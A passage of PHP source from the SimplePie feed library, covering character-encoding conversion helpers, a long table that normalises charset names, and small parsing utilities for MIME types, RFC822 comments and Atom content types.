        if (!in_array($input, mb_list_encodings())) {
            return false;
        }

        if (@mb_convert_encoding("\x80", 'UTF-16BE', $input) === "\x00\x80") {
            return false;
        }

        // Let's do some conversion
        if ($return = @mb_convert_encoding($data, $output, $input)) {
            return $return;
        }

        return false;
    }

    /**
     * @return string|false
     */
    protected static function change_encoding_iconv(string $data, string $input, string $output)
    {
        return @iconv($input, $output, $data);
    }

    /**
     * @return string|false
     */
    protected static function change_encoding_uconverter(string $data, string $input, string $output)
    {
        return @\UConverter::transcode($data, $output, $input);
    }

    /**
     * Normalize an encoding name
     *
     * This is automatically generated by create.php
     *
     * To generate it, run `php create.php` on the command line, and copy the
     * output to replace this function.
     *
     * @param string $charset Character set to standardise
     * @return string Standardised name
     */
    public static function encoding(string $charset)
    {
        // Normalization from UTS #22
        // Cast for PHPStan, the regex should not fail.
        switch (strtolower((string) preg_replace('/(?:[^a-zA-Z0-9]+|([^0-9])0+)/', '\1', $charset))) {
            case 'adobestandardencoding':
            case 'csadobestandardencoding':
                return 'Adobe-Standard-Encoding';

            case 'adobesymbolencoding':
            case 'cshppsmath':
                return 'Adobe-Symbol-Encoding';

            case 'ami1251':
            case 'amiga1251':
                return 'Amiga-1251';

            case 'ansix31101983':
            case 'csat5001983':
            case 'csiso99naplps':
            case 'isoir99':
            case 'naplps':
                return 'ANSI_X3.110-1983';

            case 'arabic7':
            case 'asmo449':
            case 'csiso89asmo449':
            case 'iso9036':
            case 'isoir89':
                return 'ASMO_449';

            case 'big5':
            case 'csbig5':
                return 'Big5';

            case 'big5hkscs':
                return 'Big5-HKSCS';

            case 'bocu1':
            case 'csbocu1':
                return 'BOCU-1';

            case 'brf':
            case 'csbrf':
                return 'BRF';

            case 'bs4730':
            case 'csiso4unitedkingdom':
            case 'gb':
            case 'iso646gb':
            case 'isoir4':
            case 'uk':
                return 'BS_4730';

            case 'bsviewdata':
            case 'csiso47bsviewdata':
            case 'isoir47':
                return 'BS_viewdata';

            case 'cesu8':
            case 'cscesu8':
                return 'CESU-8';

            case 'ca':
            case 'csa71':
            case 'csaz243419851':
            case 'csiso121canadian1':
            case 'iso646ca':
            case 'isoir121':
                return 'CSA_Z243.4-1985-1';

            case 'csa72':
            case 'csaz243419852':
            case 'csiso122canadian2':
            case 'iso646ca2':
            case 'isoir122':
                return 'CSA_Z243.4-1985-2';

            case 'csaz24341985gr':
            case 'csiso123csaz24341985gr':
            case 'isoir123':
                return 'CSA_Z243.4-1985-gr';

            case 'csiso139csn369103':
            case 'csn369103':
            case 'isoir139':
                return 'CSN_369103';

            case 'csdecmcs':
            case 'dec':
            case 'decmcs':
                return 'DEC-MCS';

            case 'csiso21german':
            case 'de':
            case 'din66003':
            case 'iso646de':
            case 'isoir21':
                return 'DIN_66003';

            case 'csdkus':
            case 'dkus':
                return 'dk-us';

            case 'csiso646danish':
            case 'dk':
            case 'ds2089':
            case 'iso646dk':
                return 'DS_2089';

            case 'csibmebcdicatde':
            case 'ebcdicatde':
                return 'EBCDIC-AT-DE';

            case 'csebcdicatdea':
            case 'ebcdicatdea':
                return 'EBCDIC-AT-DE-A';

            case 'csebcdiccafr':
            case 'ebcdiccafr':
                return 'EBCDIC-CA-FR';

            case 'csebcdicdkno':
            case 'ebcdicdkno':
                return 'EBCDIC-DK-NO';

            case 'csebcdicdknoa':
            case 'ebcdicdknoa':
                return 'EBCDIC-DK-NO-A';

            case 'csebcdices':
            case 'ebcdices':
                return 'EBCDIC-ES';

            case 'csebcdicesa':
            case 'ebcdicesa':
                return 'EBCDIC-ES-A';

            case 'csebcdicess':
            case 'ebcdicess':
                return 'EBCDIC-ES-S';

            case 'csebcdicfise':
            case 'ebcdicfise':
                return 'EBCDIC-FI-SE';

            case 'csebcdicfisea':
            case 'ebcdicfisea':
                return 'EBCDIC-FI-SE-A';

            case 'csebcdicfr':
            case 'ebcdicfr':
                return 'EBCDIC-FR';

            case 'csebcdicit':
            case 'ebcdicit':
                return 'EBCDIC-IT';

            case 'csebcdicpt':
            case 'ebcdicpt':
                return 'EBCDIC-PT';

            case 'csebcdicuk':
            case 'ebcdicuk':
                return 'EBCDIC-UK';

            case 'csebcdicus':
            case 'ebcdicus':
                return 'EBCDIC-US';

            case 'csiso111ecmacyrillic':
            case 'ecmacyrillic':
            case 'isoir111':
            case 'koi8e':
                return 'ECMA-cyrillic';

            case 'csiso17spanish':
            case 'es':
            case 'iso646es':
            case 'isoir17':
                return 'ES';

            case 'csiso85spanish2':
            case 'es2':
            case 'iso646es2':
            case 'isoir85':
                return 'ES2';

            case 'cseucpkdfmtjapanese':
            case 'eucjp':
            case 'extendedunixcodepackedformatforjapanese':
                return 'EUC-JP';

            case 'cseucfixwidjapanese':
            case 'extendedunixcodefixedwidthforjapanese':
                return 'Extended_UNIX_Code_Fixed_Width_for_Japanese';

            case 'gb18030':
                return 'GB18030';

            case 'chinese':
            case 'cp936':
            case 'csgb2312':
            case 'csiso58gb231280':
            case 'gb2312':
            case 'gb231280':
            case 'gbk':
            case 'isoir58':
            case 'ms936':
            case 'windows936':
                return 'GBK';

            case 'cn':
            case 'csiso57gb1988':
            case 'gb198880':
            case 'iso646cn':
            case 'isoir57':
                return 'GB_1988-80';

            case 'csiso153gost1976874':
            case 'gost1976874':
            case 'isoir153':
            case 'stsev35888':
                return 'GOST_19768-74';

            case 'csiso150':
            case 'csiso150greekccitt':
            case 'greekccitt':
            case 'isoir150':
                return 'greek-ccitt';

            case 'csiso88greek7':
            case 'greek7':
            case 'isoir88':
                return 'greek7';

            case 'csiso18greek7old':
            case 'greek7old':
            case 'isoir18':
                return 'greek7-old';

            case 'cshpdesktop':
            case 'hpdesktop':
                return 'HP-DeskTop';

            case 'cshplegal':
            case 'hplegal':
                return 'HP-Legal';

            case 'cshpmath8':
            case 'hpmath8':
                return 'HP-Math8';

            case 'cshppifont':
            case 'hppifont':
                return 'HP-Pi-font';

            case 'cshproman8':
            case 'hproman8':
            case 'r8':
            case 'roman8':
                return 'hp-roman8';

            case 'hzgb2312':
                return 'HZ-GB-2312';

            case 'csibmsymbols':
            case 'ibmsymbols':
                return 'IBM-Symbols';

            case 'csibmthai':
            case 'ibmthai':
                return 'IBM-Thai';

            case 'cp37':
            case 'csibm37':
            case 'ebcdiccpca':
            case 'ebcdiccpnl':
            case 'ebcdiccpus':
            case 'ebcdiccpwt':
            case 'ibm37':
                return 'IBM037';

            case 'cp38':
            case 'csibm38':
            case 'ebcdicint':
            case 'ibm38':
                return 'IBM038';

            case 'cp273':
            case 'csibm273':
            case 'ibm273':
                return 'IBM273';

            case 'cp274':
            case 'csibm274':
            case 'ebcdicbe':
            case 'ibm274':
                return 'IBM274';

            case 'cp275':
            case 'csibm275':
            case 'ebcdicbr':
            case 'ibm275':
                return 'IBM275';

            case 'csibm277':
            case 'ebcdiccpdk':
            case 'ebcdiccpno':
            case 'ibm277':
                return 'IBM277';

            case 'cp278':
            case 'csibm278':
            case 'ebcdiccpfi':
            case 'ebcdiccpse':
            case 'ibm278':
                return 'IBM278';

            case 'cp280':
            case 'csibm280':
            case 'ebcdiccpit':
            case 'ibm280':
                return 'IBM280';

            case 'cp281':
            case 'csibm281':
            case 'ebcdicjpe':
            case 'ibm281':
                return 'IBM281';

            case 'cp284':
            case 'csibm284':
            case 'ebcdiccpes':
            case 'ibm284':
                return 'IBM284';

            case 'cp285':
            case 'csibm285':
            case 'ebcdiccpgb':
            case 'ibm285':
                return 'IBM285';

            case 'cp290':
            case 'csibm290':
            case 'ebcdicjpkana':
            case 'ibm290':
                return 'IBM290';

            case 'cp297':
            case 'csibm297':
            case 'ebcdiccpfr':
            case 'ibm297':
                return 'IBM297';

            case 'cp420':
            case 'csibm420':
            case 'ebcdiccpar1':
            case 'ibm420':
                return 'IBM420';

            case 'cp423':
            case 'csibm423':
            case 'ebcdiccpgr':
            case 'ibm423':
                return 'IBM423';

            case 'cp424':
            case 'csibm424':
            case 'ebcdiccphe':
            case 'ibm424':
                return 'IBM424';

            case '437':
            case 'cp437':
            case 'cspc8codepage437':
            case 'ibm437':
                return 'IBM437';

            case 'cp500':
            case 'csibm500':
            case 'ebcdiccpbe':
            case 'ebcdiccpch':
            case 'ibm500':
                return 'IBM500';

            case 'cp775':
            case 'cspc775baltic':
            case 'ibm775':
                return 'IBM775';

            case '850':
            case 'cp850':
            case 'cspc850multilingual':
            case 'ibm850':
                return 'IBM850';

            case '851':
            case 'cp851':
            case 'csibm851':
            case 'ibm851':
                return 'IBM851';

            case '852':
            case 'cp852':
            case 'cspcp852':
            case 'ibm852':
                return 'IBM852';

            case '855':
            case 'cp855':
            case 'csibm855':
            case 'ibm855':
                return 'IBM855';

            case '857':
            case 'cp857':
            case 'csibm857':
            case 'ibm857':
                return 'IBM857';

            case 'ccsid858':
            case 'cp858':
            case 'ibm858':
            case 'pcmultilingual850euro':
                return 'IBM00858';

            case '860':
            case 'cp860':
            case 'csibm860':
            case 'ibm860':
                return 'IBM860';

            case '861':
            case 'cp861':
            case 'cpis':
            case 'csibm861':
            case 'ibm861':
                return 'IBM861';

            case '862':
            case 'cp862':
            case 'cspc862latinhebrew':
            case 'ibm862':
                return 'IBM862';

            case '863':
            case 'cp863':
            case 'csibm863':
            case 'ibm863':
                return 'IBM863';

            case 'cp864':
            case 'csibm864':
            case 'ibm864':
                return 'IBM864';

            case '865':
            case 'cp865':
            case 'csibm865':
            case 'ibm865':
                return 'IBM865';

            case '866':
            case 'cp866':
            case 'csibm866':
            case 'ibm866':
                return 'IBM866';

            case 'cp868':
            case 'cpar':
            case 'csibm868':
            case 'ibm868':
                return 'IBM868';

            case '869':
            case 'cp869':
            case 'cpgr':
            case 'csibm869':
            case 'ibm869':
                return 'IBM869';

            case 'cp870':
            case 'csibm870':
            case 'ebcdiccproece':
            case 'ebcdiccpyu':
            case 'ibm870':
                return 'IBM870';

            case 'cp871':
            case 'csibm871':
            case 'ebcdiccpis':
            case 'ibm871':
                return 'IBM871';

            case 'cp880':
            case 'csibm880':
            case 'ebcdiccyrillic':
            case 'ibm880':
                return 'IBM880';

            case 'cp891':
            case 'csibm891':
            case 'ibm891':
                return 'IBM891';

            case 'cp903':
            case 'csibm903':
            case 'ibm903':
                return 'IBM903';

            case '904':
            case 'cp904':
            case 'csibbm904':
            case 'ibm904':
                return 'IBM904';

            case 'cp905':
            case 'csibm905':
            case 'ebcdiccptr':
            case 'ibm905':
                return 'IBM905';

            case 'cp918':
            case 'csibm918':
            case 'ebcdiccpar2':
            case 'ibm918':
                return 'IBM918';

            case 'ccsid924':
            case 'cp924':
            case 'ebcdiclatin9euro':
            case 'ibm924':
                return 'IBM00924';

            case 'cp1026':
            case 'csibm1026':
            case 'ibm1026':
                return 'IBM1026';

            case 'ibm1047':
                return 'IBM1047';

            case 'ccsid1140':
            case 'cp1140':
            case 'ebcdicus37euro':
            case 'ibm1140':
                return 'IBM01140';

            case 'ccsid1141':
            case 'cp1141':
            case 'ebcdicde273euro':
            case 'ibm1141':
                return 'IBM01141';

            case 'ccsid1142':
            case 'cp1142':
            case 'ebcdicdk277euro':
            case 'ebcdicno277euro':
            case 'ibm1142':
                return 'IBM01142';

            case 'ccsid1143':
            case 'cp1143':
            case 'ebcdicfi278euro':
            case 'ebcdicse278euro':
            case 'ibm1143':
                return 'IBM01143';

            case 'ccsid1144':
            case 'cp1144':
            case 'ebcdicit280euro':
            case 'ibm1144':
                return 'IBM01144';

            case 'ccsid1145':
            case 'cp1145':
            case 'ebcdices284euro':
            case 'ibm1145':
                return 'IBM01145';

            case 'ccsid1146':
            case 'cp1146':
            case 'ebcdicgb285euro':
            case 'ibm1146':
                return 'IBM01146';

            case 'ccsid1147':
            case 'cp1147':
            case 'ebcdicfr297euro':
            case 'ibm1147':
                return 'IBM01147';

            case 'ccsid1148':
            case 'cp1148':
            case 'ebcdicinternational500euro':
            case 'ibm1148':
                return 'IBM01148';

            case 'ccsid1149':
            case 'cp1149':
            case 'ebcdicis871euro':
            case 'ibm1149':
                return 'IBM01149';

            case 'csiso143iecp271':
            case 'iecp271':
            case 'isoir143':
                return 'IEC_P27-1';

            case 'csiso49inis':
            case 'inis':
            case 'isoir49':
                return 'INIS';

            case 'csiso50inis8':
            case 'inis8':
            case 'isoir50':
                return 'INIS-8';

            case 'csiso51iniscyrillic':
            case 'iniscyrillic':
            case 'isoir51':
                return 'INIS-cyrillic';

            case 'csinvariant':
            case 'invariant':
                return 'INVARIANT';

            case 'iso2022cn':
                return 'ISO-2022-CN';

            case 'iso2022cnext':
                return 'ISO-2022-CN-EXT';

            case 'csiso2022jp':
            case 'iso2022jp':
                return 'ISO-2022-JP';

            case 'csiso2022jp2':
            case 'iso2022jp2':
                return 'ISO-2022-JP-2';

            case 'csiso2022kr':
            case 'iso2022kr':
                return 'ISO-2022-KR';

            case 'cswindows30latin1':
            case 'iso88591windows30latin1':
                return 'ISO-8859-1-Windows-3.0-Latin-1';

            case 'cswindows31latin1':
            case 'iso88591windows31latin1':
                return 'ISO-8859-1-Windows-3.1-Latin-1';

            case 'csisolatin2':
            case 'iso88592':
            case 'iso885921987':
            case 'isoir101':
            case 'l2':
            case 'latin2':
                return 'ISO-8859-2';

            case 'cswindows31latin2':
            case 'iso88592windowslatin2':
                return 'ISO-8859-2-Windows-Latin-2';

            case 'csisolatin3':
            case 'iso88593':
            case 'iso885931988':
            case 'isoir109':
            case 'l3':
            case 'latin3':
                return 'ISO-8859-3';

            case 'csisolatin4':
            case 'iso88594':
            case 'iso885941988':
            case 'isoir110':
            case 'l4':
            case 'latin4':
                return 'ISO-8859-4';

            case 'csisolatincyrillic':
            case 'cyrillic':
            case 'iso88595':
            case 'iso885951988':
            case 'isoir144':
                return 'ISO-8859-5';

            case 'arabic':
            case 'asmo708':
            case 'csisolatinarabic':
            case 'ecma114':
            case 'iso88596':
            case 'iso885961987':
            case 'isoir127':
                return 'ISO-8859-6';

            case 'csiso88596e':
            case 'iso88596e':
                return 'ISO-8859-6-E';

            case 'csiso88596i':
            case 'iso88596i':
                return 'ISO-8859-6-I';

            case 'csisolatingreek':
            case 'ecma118':
            case 'elot928':
            case 'greek':
            case 'greek8':
            case 'iso88597':
            case 'iso885971987':
            case 'isoir126':
                return 'ISO-8859-7';

            case 'csisolatinhebrew':
            case 'hebrew':
            case 'iso88598':
            case 'iso885981988':
            case 'isoir138':
                return 'ISO-8859-8';

            case 'csiso88598e':
            case 'iso88598e':
                return 'ISO-8859-8-E';

            case 'csiso88598i':
            case 'iso88598i':
                return 'ISO-8859-8-I';

            case 'cswindows31latin5':
            case 'iso88599windowslatin5':
                return 'ISO-8859-9-Windows-Latin-5';

            case 'csisolatin6':
            case 'iso885910':
            case 'iso8859101992':
            case 'isoir157':
            case 'l6':
            case 'latin6':
                return 'ISO-8859-10';

            case 'iso885913':
                return 'ISO-8859-13';

            case 'iso885914':
            case 'iso8859141998':
            case 'isoceltic':
            case 'isoir199':
            case 'l8':
            case 'latin8':
                return 'ISO-8859-14';

            case 'iso885915':
            case 'latin9':
                return 'ISO-8859-15';

            case 'iso885916':
            case 'iso8859162001':
            case 'isoir226':
            case 'l10':
            case 'latin10':
                return 'ISO-8859-16';

            case 'iso10646j1':
                return 'ISO-10646-J-1';

            case 'csunicode':
            case 'iso10646ucs2':
                return 'ISO-10646-UCS-2';

            case 'csucs4':
            case 'iso10646ucs4':
                return 'ISO-10646-UCS-4';

            case 'csunicodeascii':
            case 'iso10646ucsbasic':
                return 'ISO-10646-UCS-Basic';

            case 'csunicodelatin1':
            case 'iso10646':
            case 'iso10646unicodelatin1':
                return 'ISO-10646-Unicode-Latin1';

            case 'csiso10646utf1':
            case 'iso10646utf1':
                return 'ISO-10646-UTF-1';

            case 'csiso115481':
            case 'iso115481':
            case 'isotr115481':
                return 'ISO-11548-1';

            case 'csiso90':
            case 'isoir90':
                return 'iso-ir-90';

            case 'csunicodeibm1261':
            case 'isounicodeibm1261':
                return 'ISO-Unicode-IBM-1261';

            case 'csunicodeibm1264':
            case 'isounicodeibm1264':
                return 'ISO-Unicode-IBM-1264';

            case 'csunicodeibm1265':
            case 'isounicodeibm1265':
                return 'ISO-Unicode-IBM-1265';

            case 'csunicodeibm1268':
            case 'isounicodeibm1268':
                return 'ISO-Unicode-IBM-1268';

            case 'csunicodeibm1276':
            case 'isounicodeibm1276':
                return 'ISO-Unicode-IBM-1276';

            case 'csiso646basic1983':
            case 'iso646basic1983':
            case 'ref':
                return 'ISO_646.basic:1983';

            case 'csiso2intlrefversion':
            case 'irv':
            case 'iso646irv1983':
            case 'isoir2':
                return 'ISO_646.irv:1983';

            case 'csiso2033':
            case 'e13b':
            case 'iso20331983':
            case 'isoir98':
                return 'ISO_2033-1983';

            case 'csiso5427cyrillic':
            case 'iso5427':
            case 'isoir37':
                return 'ISO_5427';

            case 'iso5427cyrillic1981':
            case 'iso54271981':
            case 'isoir54':
                return 'ISO_5427:1981';

            case 'csiso5428greek':
            case 'iso54281980':
            case 'isoir55':
                return 'ISO_5428:1980';

            case 'csiso6937add':
            case 'iso6937225':
            case 'isoir152':
                return 'ISO_6937-2-25';

            case 'csisotextcomm':
            case 'iso69372add':
            case 'isoir142':
                return 'ISO_6937-2-add';

            case 'csiso8859supp':
            case 'iso8859supp':
            case 'isoir154':
            case 'latin125':
                return 'ISO_8859-supp';

            case 'csiso10367box':
            case 'iso10367box':
            case 'isoir155':
                return 'ISO_10367-box';

            case 'csiso15italian':
            case 'iso646it':
            case 'isoir15':
            case 'it':
                return 'IT';

            case 'csiso13jisc6220jp':
            case 'isoir13':
            case 'jisc62201969':
            case 'jisc62201969jp':
            case 'katakana':
            case 'x2017':
                return 'JIS_C6220-1969-jp';

            case 'csiso14jisc6220ro':
            case 'iso646jp':
            case 'isoir14':
            case 'jisc62201969ro':
            case 'jp':
                return 'JIS_C6220-1969-ro';

            case 'csiso42jisc62261978':
            case 'isoir42':
            case 'jisc62261978':
                return 'JIS_C6226-1978';

            case 'csiso87jisx208':
            case 'isoir87':
            case 'jisc62261983':
            case 'jisx2081983':
            case 'x208':
                return 'JIS_C6226-1983';

            case 'csiso91jisc62291984a':
            case 'isoir91':
            case 'jisc62291984a':
            case 'jpocra':
                return 'JIS_C6229-1984-a';

            case 'csiso92jisc62991984b':
            case 'iso646jpocrb':
            case 'isoir92':
            case 'jisc62291984b':
            case 'jpocrb':
                return 'JIS_C6229-1984-b';

            case 'csiso93jis62291984badd':
            case 'isoir93':
            case 'jisc62291984badd':
            case 'jpocrbadd':
                return 'JIS_C6229-1984-b-add';

            case 'csiso94jis62291984hand':
            case 'isoir94':
            case 'jisc62291984hand':
            case 'jpocrhand':
                return 'JIS_C6229-1984-hand';

            case 'csiso95jis62291984handadd':
            case 'isoir95':
            case 'jisc62291984handadd':
            case 'jpocrhandadd':
                return 'JIS_C6229-1984-hand-add';

            case 'csiso96jisc62291984kana':
            case 'isoir96':
            case 'jisc62291984kana':
                return 'JIS_C6229-1984-kana';

            case 'csjisencoding':
            case 'jisencoding':
                return 'JIS_Encoding';

            case 'cshalfwidthkatakana':
            case 'jisx201':
            case 'x201':
                return 'JIS_X0201';

            case 'csiso159jisx2121990':
            case 'isoir159':
            case 'jisx2121990':
            case 'x212':
                return 'JIS_X0212-1990';

            case 'csiso141jusib1002':
            case 'iso646yu':
            case 'isoir141':
            case 'js':
            case 'jusib1002':
            case 'yu':
                return 'JUS_I.B1.002';

            case 'csiso147macedonian':
            case 'isoir147':
            case 'jusib1003mac':
            case 'macedonian':
                return 'JUS_I.B1.003-mac';

            case 'csiso146serbian':
            case 'isoir146':
            case 'jusib1003serb':
            case 'serbian':
                return 'JUS_I.B1.003-serb';

            case 'koi7switched':
                return 'KOI7-switched';

            case 'cskoi8r':
            case 'koi8r':
                return 'KOI8-R';

            case 'koi8u':
                return 'KOI8-U';

            case 'csksc5636':
            case 'iso646kr':
            case 'ksc5636':
                return 'KSC5636';

            case 'cskz1048':
            case 'kz1048':
            case 'rk1048':
            case 'strk10482002':
                return 'KZ-1048';

            case 'csiso19latingreek':
            case 'isoir19':
            case 'latingreek':
                return 'latin-greek';

            case 'csiso27latingreek1':
            case 'isoir27':
            case 'latingreek1':
                return 'Latin-greek-1';

            case 'csiso158lap':
            case 'isoir158':
            case 'lap':
            case 'latinlap':
                return 'latin-lap';

            case 'csmacintosh':
            case 'mac':
            case 'macintosh':
                return 'macintosh';

            case 'csmicrosoftpublishing':
            case 'microsoftpublishing':
                return 'Microsoft-Publishing';

            case 'csmnem':
            case 'mnem':
                return 'MNEM';

            case 'csmnemonic':
            case 'mnemonic':
                return 'MNEMONIC';

            case 'csiso86hungarian':
            case 'hu':
            case 'iso646hu':
            case 'isoir86':
            case 'msz77953':
                return 'MSZ_7795.3';

            case 'csnatsdano':
            case 'isoir91':
            case 'natsdano':
                return 'NATS-DANO';

            case 'csnatsdanoadd':
            case 'isoir92':
            case 'natsdanoadd':
                return 'NATS-DANO-ADD';

            case 'csnatssefi':
            case 'isoir81':
            case 'natssefi':
                return 'NATS-SEFI';

            case 'csnatssefiadd':
            case 'isoir82':
            case 'natssefiadd':
                return 'NATS-SEFI-ADD';

            case 'csiso151cuba':
            case 'cuba':
            case 'iso646cu':
            case 'isoir151':
            case 'ncnc1081':
                return 'NC_NC00-10:81';

            case 'csiso69french':
            case 'fr':
            case 'iso646fr':
            case 'isoir69':
            case 'nfz62010':
                return 'NF_Z_62-010';

            case 'csiso25french':
            case 'iso646fr1':
            case 'isoir25':
            case 'nfz620101973':
                return 'NF_Z_62-010_(1973)';

            case 'csiso60danishnorwegian':
            case 'csiso60norwegian1':
            case 'iso646no':
            case 'isoir60':
            case 'no':
            case 'ns45511':
                return 'NS_4551-1';

            case 'csiso61norwegian2':
            case 'iso646no2':
            case 'isoir61':
            case 'no2':
            case 'ns45512':
                return 'NS_4551-2';

            case 'osdebcdicdf3irv':
                return 'OSD_EBCDIC_DF03_IRV';

            case 'osdebcdicdf41':
                return 'OSD_EBCDIC_DF04_1';

            case 'osdebcdicdf415':
                return 'OSD_EBCDIC_DF04_15';

            case 'cspc8danishnorwegian':
            case 'pc8danishnorwegian':
                return 'PC8-Danish-Norwegian';

            case 'cspc8turkish':
            case 'pc8turkish':
                return 'PC8-Turkish';

            case 'csiso16portuguese':
            case 'iso646pt':
            case 'isoir16':
            case 'pt':
                return 'PT';

            case 'csiso84portuguese2':
            case 'iso646pt2':
            case 'isoir84':
            case 'pt2':
                return 'PT2';

            case 'cp154':
            case 'csptcp154':
            case 'cyrillicasian':
            case 'pt154':
            case 'ptcp154':
                return 'PTCP154';

            case 'scsu':
                return 'SCSU';

            case 'csiso10swedish':
            case 'fi':
            case 'iso646fi':
            case 'iso646se':
            case 'isoir10':
            case 'se':
            case 'sen850200b':
                return 'SEN_850200_B';

            case 'csiso11swedishfornames':
            case 'iso646se2':
            case 'isoir11':
            case 'se2':
            case 'sen850200c':
                return 'SEN_850200_C';

            case 'csiso102t617bit':
            case 'isoir102':
            case 't617bit':
                return 'T.61-7bit';

            case 'csiso103t618bit':
            case 'isoir103':
            case 't61':
            case 't618bit':
                return 'T.61-8bit';

            case 'csiso128t101g2':
            case 'isoir128':
            case 't101g2':
                return 'T.101-G2';

            case 'cstscii':
            case 'tscii':
                return 'TSCII';

            case 'csunicode11':
            case 'unicode11':
                return 'UNICODE-1-1';

            case 'csunicode11utf7':
            case 'unicode11utf7':
                return 'UNICODE-1-1-UTF-7';

            case 'csunknown8bit':
            case 'unknown8bit':
                return 'UNKNOWN-8BIT';

            case 'ansix341968':
            case 'ansix341986':
            case 'ascii':
            case 'cp367':
            case 'csascii':
            case 'ibm367':
            case 'iso646irv1991':
            case 'iso646us':
            case 'isoir6':
            case 'us':
            case 'usascii':
                return 'US-ASCII';

            case 'csusdk':
            case 'usdk':
                return 'us-dk';

            case 'utf7':
                return 'UTF-7';

            case 'utf8':
                return 'UTF-8';

            case 'utf16':
                return 'UTF-16';

            case 'utf16be':
                return 'UTF-16BE';

            case 'utf16le':
                return 'UTF-16LE';

            case 'utf32':
                return 'UTF-32';

            case 'utf32be':
                return 'UTF-32BE';

            case 'utf32le':
                return 'UTF-32LE';

            case 'csventurainternational':
            case 'venturainternational':
                return 'Ventura-International';

            case 'csventuramath':
            case 'venturamath':
                return 'Ventura-Math';

            case 'csventuraus':
            case 'venturaus':
                return 'Ventura-US';

            case 'csiso70videotexsupp1':
            case 'isoir70':
            case 'videotexsuppl':
                return 'videotex-suppl';

            case 'csviqr':
            case 'viqr':
                return 'VIQR';

            case 'csviscii':
            case 'viscii':
                return 'VISCII';

            case 'csshiftjis':
            case 'cswindows31j':
            case 'mskanji':
            case 'shiftjis':
            case 'windows31j':
                return 'Windows-31J';

            case 'iso885911':
            case 'tis620':
                return 'windows-874';

            case 'cseuckr':
            case 'csksc56011987':
            case 'euckr':
            case 'isoir149':
            case 'korean':
            case 'ksc5601':
            case 'ksc56011987':
            case 'ksc56011989':
            case 'windows949':
                return 'windows-949';

            case 'windows1250':
                return 'windows-1250';

            case 'windows1251':
                return 'windows-1251';

            case 'cp819':
            case 'csisolatin1':
            case 'ibm819':
            case 'iso88591':
            case 'iso885911987':
            case 'isoir100':
            case 'l1':
            case 'latin1':
            case 'windows1252':
                return 'windows-1252';

            case 'windows1253':
                return 'windows-1253';

            case 'csisolatin5':
            case 'iso88599':
            case 'iso885991989':
            case 'isoir148':
            case 'l5':
            case 'latin5':
            case 'windows1254':
                return 'windows-1254';

            case 'windows1255':
                return 'windows-1255';

            case 'windows1256':
                return 'windows-1256';

            case 'windows1257':
                return 'windows-1257';

            case 'windows1258':
                return 'windows-1258';

            default:
                return $charset;
        }
    }

    /**
     * @return string
     */
    public static function get_curl_version()
    {
        if (is_array($curl = curl_version())) {
            $curl = $curl['version'];
        } else {
            $curl = '0';
        }
        return $curl;
    }

    /**
     * Strip HTML comments
     *
     * @deprecated since SimplePie 1.9.0. If you need it, you can copy the function to your codebase. But you should consider using `DOMDocument` for any DOM wrangling.
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public static function strip_comments(string $data)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $output = '';
        while (($start = strpos($data, '<!--')) !== false) {
            $output .= substr($data, 0, $start);
            if (($end = strpos($data, '-->', $start)) !== false) {
                $data = substr_replace($data, '', 0, $end + 3);
            } else {
                $data = '';
            }
        }
        return $output . $data;
    }

    /**
     * @return int|false
     */
    public static function parse_date(string $dt)
    {
        $parser = \SimplePie\Parse\Date::get();
        return $parser->parse($dt);
    }

    /**
     * Decode HTML entities
     *
     * @deprecated since SimplePie 1.3, use DOMDocument instead
     * @param string $data Input data
     * @return string Output data
     */
    public static function entities_decode(string $data)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.3, use "DOMDocument" instead.'), \E_USER_DEPRECATED);

        $decoder = new \SimplePie_Decode_HTML_Entities($data);
        return $decoder->parse();
    }

    /**
     * Remove RFC822 comments
     *
     * @deprecated since SimplePie 1.9.0. If you need it, consider copying the function to your codebase.
     * @param string $string Data to strip comments from
     * @return string Comment stripped string
     */
    public static function uncomment_rfc822(string $string)
    {
        // trigger_error(sprintf('Using method "' . __METHOD__ . '" is deprecated since SimplePie 1.9.'), \E_USER_DEPRECATED);

        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    /**
     * @return string
     */
    public static function parse_mime(string $mime)
    {
        if (($pos = strpos($mime, ';')) === false) {
            return trim($mime);
        }

        return trim(substr($mime, 0, $pos));
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return int-mask-of<SimplePie::CONSTRUCT_*>
     */
    public static function atom_03_construct_type(array $attribs)
    {
        if (isset($attribs['']['mode']) && strtolower(trim($attribs['']['mode'])) === 'base64') {
            $mode = \SimplePie\SimplePie::CONSTRUCT_BASE64;
        } else {
            $mode = \SimplePie\SimplePie::CONSTRUCT_NONE;
        }
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                case 'text/plain':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;

                case 'html':
                case 'text/html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML | $mode;

                case 'xhtml':
                case 'application/xhtml+xml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML | $mode;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE | $mode;
            }
        }

        return \SimplePie\SimplePie::CONSTRUCT_TEXT | $mode;
    }

    /**
     * @param array<string, array<string, string>> $attribs
     * @return int-mask-of<SimplePie::CONSTRUCT_*>
     */
    public static function atom_10_construct_type(array $attribs)
    {
        if (isset($attribs['']['type'])) {
            switch (strtolower(trim($attribs['']['type']))) {
                case 'text':
                    return \SimplePie\SimplePie::CONSTRUCT_TEXT;

                case 'html':
                    return \SimplePie\SimplePie::CONSTRUCT_HTML;

                case 'xhtml':
                    return \SimplePie\SimplePie::CONSTRUCT_XHTML;

                default:
                    return \SimplePie\SimplePie::CONSTRUCT_NONE;
            }
        }
